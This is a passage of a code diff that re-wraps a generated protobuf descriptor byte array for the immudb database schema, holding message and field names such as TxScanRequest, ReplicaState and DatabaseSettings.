0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x12, 0x3a, 0x0a, 0x18, - 0x6b, 0x65, 0x65, 0x70, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x73, 0x55, 0x6e, - 0x72, 0x65, 0x73, 0x6f, 0x6c, 0x76, 0x65, 0x64, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x18, - 0x6b, 0x65, 0x65, 0x70, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x73, 0x55, 0x6e, - 0x72, 0x65, 0x73, 0x6f, 0x6c, 0x76, 0x65, 0x64, 0x22, 0xc7, 0x01, 0x0a, 0x0d, 0x54, 0x78, 0x53, - 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1c, 0x0a, 0x09, 0x69, 0x6e, - 0x69, 0x74, 0x69, 0x61, 0x6c, 0x54, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x09, 0x69, - 0x6e, 0x69, 0x74, 0x69, 0x61, 0x6c, 0x54, 0x78, 0x12, 0x14, 0x0a, 0x05, 0x6c, 0x69, 0x6d, 0x69, - 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x12, 0x12, - 0x0a, 0x04, 0x64, 0x65, 0x73, 0x63, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x64, 0x65, - 0x73, 0x63, 0x12, 0x3c, 0x0a, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, - 0x63, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, - 0x70, 0x65, 0x63, 0x52, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, - 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x05, 0x20, 0x01, 0x28, - 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, - 0x57, 0x61, 0x69, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, - 0x69, 0x74, 0x22, 0x2d, 0x0a, 0x06, 0x54, 0x78, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x23, 0x0a, 0x03, - 0x74, 0x78, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x52, 0x03, 0x74, 0x78, - 0x73, 0x22, 0x90, 0x01, 0x0a, 0x0f, 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x74, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x04, 0x52, 0x02, 0x74, 0x78, 0x12, 0x2c, 0x0a, 0x11, 0x61, 0x6c, 0x6c, 0x6f, 0x77, 0x50, 0x72, - 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, - 0x52, 0x11, 0x61, 0x6c, 0x6c, 0x6f, 0x77, 0x50, 0x72, 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, - 0x74, 0x65, 0x64, 0x12, 0x3f, 0x0a, 0x0c, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x53, 0x74, - 0x61, 0x74, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, - 0x61, 0x53, 0x74, 0x61, 0x74, 0x65, 0x52, 0x0c, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x53, - 0x74, 0x61, 0x74, 0x65, 0x22, 0xc2, 0x01, 0x0a, 0x0c, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, - 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x55, 0x55, 0x49, 0x44, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x04, 0x55, 0x55, 0x49, 0x44, 0x12, 0x24, 0x0a, 0x0d, 0x63, 0x6f, 0x6d, - 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, - 0x52, 0x0d, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x44, 0x12, - 0x22, 0x0a, 0x0c, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x41, 0x6c, 0x68, 0x18, - 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0c, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, - 0x41, 0x6c, 0x68, 0x12, 0x2a, 0x0a, 0x10, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, - 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x44, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x10, 0x70, - 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x44, 0x12, - 0x28, 0x0a, 0x0f, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x41, - 0x6c, 0x68, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0f, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, - 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x41, 0x6c, 0x68, 0x22, 0x2e, 0x0a, 0x08, 0x44, 0x61, 0x74, - 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, - 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x64, 0x61, 0x74, - 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0xc0, 0x03, 0x0a, 0x10, 0x44, 0x61, - 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x22, - 0x0a, 0x0c, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x61, - 0x6d, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x08, 0x52, 0x07, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x12, 0x28, 0x0a, 0x0f, - 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, - 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x44, 0x61, - 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, - 0x79, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x70, 0x72, 0x69, - 0x6d, 0x61, 0x72, 0x79, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x20, 0x0a, 0x0b, 0x70, 0x72, 0x69, 0x6d, - 0x61, 0x72, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x70, - 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x28, 0x0a, 0x0f, 0x70, 0x72, - 0x69, 0x6d, 0x61, 0x72, 0x79, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x06, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x55, 0x73, 0x65, 0x72, - 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, - 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0f, 0x70, - 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x1a, - 0x0a, 0x08, 0x66, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0d, - 0x52, 0x08, 0x66, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x6d, 0x61, - 0x78, 0x4b, 0x65, 0x79, 0x4c, 0x65, 0x6e, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x6d, - 0x61, 0x78, 0x4b, 0x65, 0x79, 0x4c, 0x65, 0x6e, 0x12, 0x20, 0x0a, 0x0b, 0x6d, 0x61, 0x78, 0x56, - 0x61, 0x6c, 0x75, 0x65, 0x4c, 0x65, 0x6e, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x6d, - 0x61, 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x4c, 0x65, 0x6e, 0x12, 0x22, 0x0a, 0x0c, 0x6d, 0x61, - 0x78, 0x54, 0x78, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x0d, - 0x52, 0x0c, 0x6d, 0x61, 0x78, 0x54, 0x78, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x12, 0x2c, - 0x0a, 0x11, 0x65, 0x78, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x54, - 0x69, 0x6d, 0x65, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x08, 0x52, 0x11, 0x65, 0x78, 0x63, 0x6c, 0x75, - 0x64, 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x54, 0x69, 0x6d, 0x65, 0x22, 0x92, 0x01, 0x0a, - 0x15, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x43, 0x0a, 0x08, 0x73, 0x65, - 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, - 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, - 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, - 0x20, 0x0a, 0x0b, 0x69, 0x66, 0x4e, 0x6f, 0x74, 0x45, 0x78, 0x69, 0x73, 0x74, 0x73, 0x18, 0x03, - 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x69, 0x66, 0x4e, 0x6f, 0x74, 0x45, 0x78, 0x69, 0x73, 0x74, - 0x73, 0x22, 0x99, 0x01, 0x0a, 0x16, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, - 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x12, 0x0a, 0x04, - 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, - 0x12, 0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, - 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, - 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x26, 0x0a, 0x0e, 0x61, 0x6c, 0x72, 0x65, 0x61, 0x64, 0x79, - 0x45, 0x78, 0x69, 0x73, 0x74, 0x65, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0e, 0x61, - 0x6c, 0x72, 0x65, 0x61, 0x64, 0x79, 0x45, 0x78, 0x69, 0x73, 0x74, 0x65, 0x64, 0x22, 0x78, 0x0a, - 0x15, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, - 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, - 0x73, 0x65, 0x12, 0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, + 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x12, 0x3a, + 0x0a, 0x18, 0x6b, 0x65, 0x65, 0x70, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x73, + 0x55, 0x6e, 0x72, 0x65, 0x73, 0x6f, 0x6c, 0x76, 0x65, 0x64, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, + 0x52, 0x18, 0x6b, 0x65, 0x65, 0x70, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x73, + 0x55, 0x6e, 0x72, 0x65, 0x73, 0x6f, 0x6c, 0x76, 0x65, 0x64, 0x22, 0xc7, 0x01, 0x0a, 0x0d, 0x54, + 0x78, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1c, 0x0a, 0x09, + 0x69, 0x6e, 0x69, 0x74, 0x69, 0x61, 0x6c, 0x54, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, + 0x09, 0x69, 0x6e, 0x69, 0x74, 0x69, 0x61, 0x6c, 0x54, 0x78, 0x12, 0x14, 0x0a, 0x05, 0x6c, 0x69, + 0x6d, 0x69, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, + 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, 0x63, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, + 0x64, 0x65, 0x73, 0x63, 0x12, 0x3c, 0x0a, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, + 0x70, 0x65, 0x63, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, + 0x73, 0x53, 0x70, 0x65, 0x63, 0x52, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, + 0x65, 0x63, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x05, 0x20, + 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x16, 0x0a, 0x06, + 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, + 0x57, 0x61, 0x69, 0x74, 0x22, 0x2d, 0x0a, 0x06, 0x54, 0x78, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x23, + 0x0a, 0x03, 0x74, 0x78, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x52, 0x03, + 0x74, 0x78, 0x73, 0x22, 0x90, 0x01, 0x0a, 0x0f, 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x74, 0x78, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x04, 0x52, 0x02, 0x74, 0x78, 0x12, 0x2c, 0x0a, 0x11, 0x61, 0x6c, 0x6c, 0x6f, 0x77, + 0x50, 0x72, 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x08, 0x52, 0x11, 0x61, 0x6c, 0x6c, 0x6f, 0x77, 0x50, 0x72, 0x65, 0x43, 0x6f, 0x6d, 0x6d, + 0x69, 0x74, 0x74, 0x65, 0x64, 0x12, 0x3f, 0x0a, 0x0c, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, + 0x53, 0x74, 0x61, 0x74, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x65, 0x70, 0x6c, + 0x69, 0x63, 0x61, 0x53, 0x74, 0x61, 0x74, 0x65, 0x52, 0x0c, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, + 0x61, 0x53, 0x74, 0x61, 0x74, 0x65, 0x22, 0xc2, 0x01, 0x0a, 0x0c, 0x52, 0x65, 0x70, 0x6c, 0x69, + 0x63, 0x61, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x55, 0x55, 0x49, 0x44, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x55, 0x55, 0x49, 0x44, 0x12, 0x24, 0x0a, 0x0d, 0x63, + 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x04, 0x52, 0x0d, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, + 0x44, 0x12, 0x22, 0x0a, 0x0c, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x41, 0x6c, + 0x68, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0c, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, + 0x65, 0x64, 0x41, 0x6c, 0x68, 0x12, 0x2a, 0x0a, 0x10, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, + 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x44, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, + 0x10, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, + 0x44, 0x12, 0x28, 0x0a, 0x0f, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, + 0x64, 0x41, 0x6c, 0x68, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0f, 0x70, 0x72, 0x65, 0x63, + 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x41, 0x6c, 0x68, 0x22, 0x2e, 0x0a, 0x08, 0x44, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x64, 0x61, 0x74, 0x61, 0x62, + 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x64, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0xc0, 0x03, 0x0a, 0x10, + 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, + 0x12, 0x22, 0x0a, 0x0c, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, + 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x12, 0x28, + 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, + 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, + 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x70, 0x72, 0x69, 0x6d, + 0x61, 0x72, 0x79, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x70, + 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x20, 0x0a, 0x0b, 0x70, 0x72, + 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, + 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x28, 0x0a, 0x0f, + 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, + 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x55, 0x73, + 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, + 0x79, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, + 0x12, 0x1a, 0x0a, 0x08, 0x66, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x08, 0x20, 0x01, + 0x28, 0x0d, 0x52, 0x08, 0x66, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x1c, 0x0a, 0x09, + 0x6d, 0x61, 0x78, 0x4b, 0x65, 0x79, 0x4c, 0x65, 0x6e, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0d, 0x52, + 0x09, 0x6d, 0x61, 0x78, 0x4b, 0x65, 0x79, 0x4c, 0x65, 0x6e, 0x12, 0x20, 0x0a, 0x0b, 0x6d, 0x61, + 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x4c, 0x65, 0x6e, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x0d, 0x52, + 0x0b, 0x6d, 0x61, 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x4c, 0x65, 0x6e, 0x12, 0x22, 0x0a, 0x0c, + 0x6d, 0x61, 0x78, 0x54, 0x78, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x18, 0x0b, 0x20, 0x01, + 0x28, 0x0d, 0x52, 0x0c, 0x6d, 0x61, 0x78, 0x54, 0x78, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, + 0x12, 0x2c, 0x0a, 0x11, 0x65, 0x78, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, + 0x74, 0x54, 0x69, 0x6d, 0x65, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x08, 0x52, 0x11, 0x65, 0x78, 0x63, + 0x6c, 0x75, 0x64, 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x54, 0x69, 0x6d, 0x65, 0x22, 0x92, + 0x01, 0x0a, 0x15, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, + 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x43, 0x0a, 0x08, + 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x27, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, + 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, + 0x73, 0x12, 0x20, 0x0a, 0x0b, 0x69, 0x66, 0x4e, 0x6f, 0x74, 0x45, 0x78, 0x69, 0x73, 0x74, 0x73, + 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x69, 0x66, 0x4e, 0x6f, 